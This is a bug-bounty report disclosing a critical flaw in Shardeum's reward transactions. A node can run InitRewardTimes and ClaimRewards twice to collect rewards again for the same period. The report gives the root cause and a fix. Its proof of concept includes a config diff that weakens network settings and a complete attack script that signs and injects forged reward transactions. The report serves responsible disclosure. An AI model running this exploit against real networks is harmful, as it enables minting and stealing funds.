Active Boosts

#39876 [BC-Critical] Receiving rewards multiple times for the same period

Submitted on Feb 9th 2025 at 16:45:35 UTC by @Blockian for Audit Comp | Shardeum: Core III

  • Report ID: #39876

  • Report Type: Blockchain/DLT

  • Report severity: Critical

  • Target: https://github.com/shardeum/shardeum/tree/bugbounty

  • Impacts:

    • Direct loss of funds

Description

Impact

User can get rewards for an active period as many times as they want.

Root Cause

The validations in InitRewardTimes and ClaimRewards transactions aren't enough to validate that a user didn't already receive rewards for a certain activity period.

Attack Flow

  • A node stakes and becomes active in the network

  • The node calls InitRewardTime with its actual activation time

  • The node finishes being active

  • The node calls c with a large fake deactivation time

  • The reward is calculated according to the fake nodeDeactivationTime

  • The node calls InitRewardTime and ClaimRewards again with actual values

  • The node calls Ustake and receives all the reward

Deep Dive

In InitRewardsTime validation it is validated that nodeAccount.rewardStartTime >= tx.nodeActivatedTime but tx.nodeActivatedTime isn't validated against nodeAccount.rewardEndTime.

Suggested Fix

  • Validate nodeActivatedTime against nodeAccount.rewardEndTime if rewardStartTime is greater than 0.

Severity

This allows to mint arbitrary large amounts of the native token, and so is critical.

Proof of Concept

Proof of Concept

In the POC you can see a user staking and claiming rewards twice for a period that is almost identical (off by 1 second).

  1. Apply the following changes on Shardeum

diff --git a/src/config/genesis.json b/src/config/genesis.json
index 53aeee7e..65e5cc1b 100644
--- a/src/config/genesis.json
+++ b/src/config/genesis.json
@@ -89,6 +89,9 @@
   "0x0c799D15c3f2e9dAf10677aD09565E93CAc3e4c4": {
     "wei": "1001000000000000000000"
   },
+  "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d": {
+    "wei": "10000000000000000000000000"
+  },
   "0xEbe173a837Bc30BFEF6E13C9988a4771a4D83275": {
     "wei": "1001000000000000000000"
   },
diff --git a/src/config/index.ts b/src/config/index.ts
index 78a7c2c2..04d4e021 100644
--- a/src/config/index.ts
+++ b/src/config/index.ts
@@ -143,9 +143,9 @@ config = merge(config, {
     p2p: {
       cycleDuration: 60,
       minNodesToAllowTxs: 1, // to allow single node networks
-      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 1280, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
-      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 1280,
-      maxNodes: process.env.maxNodes ? parseInt(process.env.maxNodes) : 1280,
+      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 10, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
+      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 10,
+      maxNodes: process.env.maxNodes ? parseInt(process.env.maxNodes) : 10,
       maxJoinedPerCycle: 10,
       maxSyncingPerCycle: 10,
       maxRotatedPerCycle: process.env.maxRotatedPerCycle ? parseInt(process.env.maxRotatedPerCycle) : 1,
@@ -157,7 +157,7 @@ config = merge(config, {
       amountToShrink: 5,
       maxDesiredMultiplier: 1.2,
       maxScaleReqs: 250, // todo: this will become a variable config but this should work for a 500 node demo
-      forceBogonFilteringOn: true,
+      forceBogonFilteringOn: false,
       //these are new feature in 1.3.0, we can make them default:true in shardus-core later
 
       // 1.2.3 migration starts
@@ -218,13 +218,13 @@ config = merge(config, {
       allowActivePerCycle: 1,
 
       syncFloorEnabled: true,  //ITN initially false for rotation safety
-      syncingDesiredMinCount: 40, //ITN = 40
+      syncingDesiredMinCount: 5, //ITN = 40
 
       activeRecoveryEnabled: true,//ITN initially false for rotation safety
       allowActivePerCycleRecover: 4, 
 
       flexibleRotationEnabled: true, //ITN 1.16.1
-      flexibleRotationDelta: 10,
+      flexibleRotationDelta: 0,
 
       maxStandbyCount: 30000, //max allowed standby nodes count
       enableMaxStandbyCount: true,
@@ -295,7 +295,7 @@ config = merge(config, {
     sharding: {
       nodesPerConsensusGroup: process.env.nodesPerConsensusGroup
         ? parseInt(process.env.nodesPerConsensusGroup)
-        : 128, //128 is the final goal
+        : 10, //128 is the final goal
       nodesPerEdge: process.env.nodesPerEdge ? parseInt(process.env.nodesPerEdge) : 5,
       executeInOneShard: true,
     },
@@ -345,11 +345,11 @@ config = merge(
   config,
   {
     server: {
-      mode: 'release', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
+      mode: 'debug', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
       // for easier debugging
       debug: {
-        startInFatalsLogMode: true, // true setting good for big aws test with nodes joining under stress.
-        startInErrorLogMode: false,
+        startInFatalsLogMode: false, // true setting good for big aws test with nodes joining under stress.
+        startInErrorLogMode: true,
         verboseNestedCounters: false,
         robustQueryDebug: false,
         fakeNetworkDelay: 0,
@@ -419,6 +419,8 @@ config = merge(
           /* prettier-ignore */ '0x7Fb9b1C5E20bd250870F87659E46bED410221f17': DevSecurityLevel.High,
           /* prettier-ignore */ '0x1e5e12568b7103E8B22cd680A6fa6256DD66ED76': DevSecurityLevel.High,
           /* prettier-ignore */ '0xa58169308e7153B5Ce4ca5cA515cC4d0cBE7770B': DevSecurityLevel.High,
           // always prefix with prettier ignore
         },
         checkAddressFormat: true, //enabled for 1.10.0
diff --git a/src/index.ts b/src/index.ts
index 22fb7ae9..1652c412 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -2378,7 +2378,7 @@ const configShardusEndpoints = (): void => {
   })
 
   // endpoint on joining nodes side to receive admin certificate
-  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req, res) => {
+  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req: Request, res) => {
     try {
       nestedCountersInstance.countEvent('shardeum-admin-certificate', 'called PUT admin-certificate')

  1. Run a json-rpc-server

  2. Run the following attack script:

import axios from "axios";
import crypto from '@shardus/crypto-utils';
import { ethers } from 'ethers'
import { fromAscii } from "@ethereumjs/util";

crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")

const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))

let keyPair = {
    address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
    publicKey: '0x7255db7f8aa57518fd0bceb743eb85fa110c791cc78661818677255006269855',
    secretKey: '0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede60217255db7f8aa57518fd0bceb743eb85fa110c791cc78661818677255006269855',
    privateKey: '0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021'
}

const JSON_RPC_URL = "http://127.0.0.1:8080";
const stake_to_address = "0x0000000000000000000000000000000000010000";
const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
const wallet = new ethers.Wallet(keyPair.privateKey, provider);

const nodeActivatedTime = Math.floor(Date.now() / 1000) - 6000
const nodeDeactivatedTime = Math.floor(Date.now() / 1000) - 60

async function sendStakeTransaction() {
    const stake_data = {
        stake: 10000000000000000000,
        internalTXType: 6, // Stake
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nominator: keyPair.address,
    };
    const stake_tx = {
        to: stake_to_address,
        value: BigInt(10000000000000000000),
        data: fromAscii(JSON.stringify(stake_data))
    };
    const tx = await wallet.sendTransaction(stake_tx);
    const receipt = await tx.wait();

    return receipt;
}

async function sendUnstakeTransaction() {
    const stake_data = {
        internalTXType: 7, // Unstake
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nominator: keyPair.address,
    };
    const stake_tx = {
        to: stake_to_address,
        value: 0,
        data: fromAscii(JSON.stringify(stake_data))
    };
    const tx = await wallet.sendTransaction(stake_tx);
    const receipt = await tx.wait();

    return receipt;
}
  
async function sendFirstInitRewardTimes(randomNode) {
    let initRewardTimesTx = {
        isInternalTx: true,
        internalTXType: 8, // InternalTXType.InitRewardTimes
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nodeActivatedTime: nodeActivatedTime,
        timestamp: Date.now()
    }
    crypto.signObj(initRewardTimesTx, keyPair.secretKey.replace('0x', ''), keyPair.publicKey.replace('0x', ''))
    console.log("Signing InternalTx: ", initRewardTimesTx)
    
    let res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, initRewardTimesTx)
    if(!res.data.success) throw new Error(res.data.reason)
}

async function sendFirstClaimRewards(randomNode) {
    let claimRewardTx = {
        isInternalTx: true,
        internalTXType: 9, // InternalTXType.ClaimRewards
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nominator: keyPair.address,
        deactivatedNodeId: 'blockian'.padEnd(64, '0'),
        nodeDeactivatedTime: nodeDeactivatedTime,
        timestamp: Date.now()
    }
    crypto.signObj(claimRewardTx, keyPair.secretKey.replace('0x', ''), keyPair.publicKey.replace('0x', ''))
    console.log("Signing InternalTx: ", claimRewardTx)
    
    let res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, claimRewardTx)
    if(!res.data.success) throw new Error(res.data.reason)
}

async function sendSecondInitRewardTimes(randomNode) {
    let initRewardTimesTx = {
        isInternalTx: true,
        internalTXType: 8, // InternalTXType.InitRewardTimes
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nodeActivatedTime: nodeActivatedTime + 1,
        timestamp: Date.now()
    }
    crypto.signObj(initRewardTimesTx, keyPair.secretKey.replace('0x', ''), keyPair.publicKey.replace('0x', ''))
    console.log("Signing InternalTx: ", initRewardTimesTx)
    
    let res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, initRewardTimesTx)
    if(!res.data.success) throw new Error(res.data.reason)
}

async function sendSecondClaimRewards(randomNode) {
    let claimRewardTx = {
        isInternalTx: true,
        internalTXType: 9, // InternalTXType.ClaimRewards
        nominee: keyPair.publicKey.replace('0x', '').padEnd(64, '0'),
        nominator: keyPair.address,
        deactivatedNodeId: 'blockian'.padEnd(64, '0'),
        nodeDeactivatedTime: nodeDeactivatedTime,
        timestamp: Date.now()
    }
    crypto.signObj(claimRewardTx, keyPair.secretKey.replace('0x', ''), keyPair.publicKey.replace('0x', ''))
    console.log("Signing InternalTx: ", claimRewardTx)
    
    let res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, claimRewardTx)
    if(!res.data.success) throw new Error(res.data.reason)
}

async function printState(randomNode) {
    let data1 = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${keyPair.publicKey.replace('0x', '').padEnd(64, '0')}`)
    let data2 = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${keyPair.address.replace('0x', '').padEnd(64, '0')}`)
    console.log(data1.data);
    console.log(data2.data);
}

async function waitTillFinish() {
    console.log("Waiting 60 sec for transaction to be finalized");
    await sleep(60000)
}

const main = async  () => {
    console.log("Grabbing Nodelist ....");
    let res = await axios.get('http://0.0.0.0:4000/nodelist')
    const nodelist = res.data.nodeList
    const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]
    

    console.log("Data before stake --------------------------------------")
    await printState(randomNode)
    await sendStakeTransaction()
    await waitTillFinish()
    
    console.log("Data after stake, before 1st initRewardTimes --------------------------------------")
    await printState(randomNode)

    await sendFirstInitRewardTimes(randomNode);
    await waitTillFinish()

    console.log("Data after 1st initRewardTimes, before 1st claimRewards --------------------------------------")
    await printState(randomNode)

    await sendFirstClaimRewards(randomNode);
    await waitTillFinish()

    console.log("Data after 1st claimRewards, before 2nd initRewardTimes --------------------------------------")
    await printState(randomNode)

    await sendSecondInitRewardTimes(randomNode)
    await waitTillFinish()

    console.log("Data after 2st initRewardTimes, before 2nd claimRewards --------------------------------------")
    await printState(randomNode)

    await sendSecondClaimRewards(randomNode);
    await waitTillFinish()

    console.log("Data after 2nd claimRewards, before unstake --------------------------------------")
    await printState(randomNode)

    await sendUnstakeTransaction();
    await waitTillFinish()

    console.log("Data after unstake --------------------------------------")
    await printState(randomNode)
}

main();
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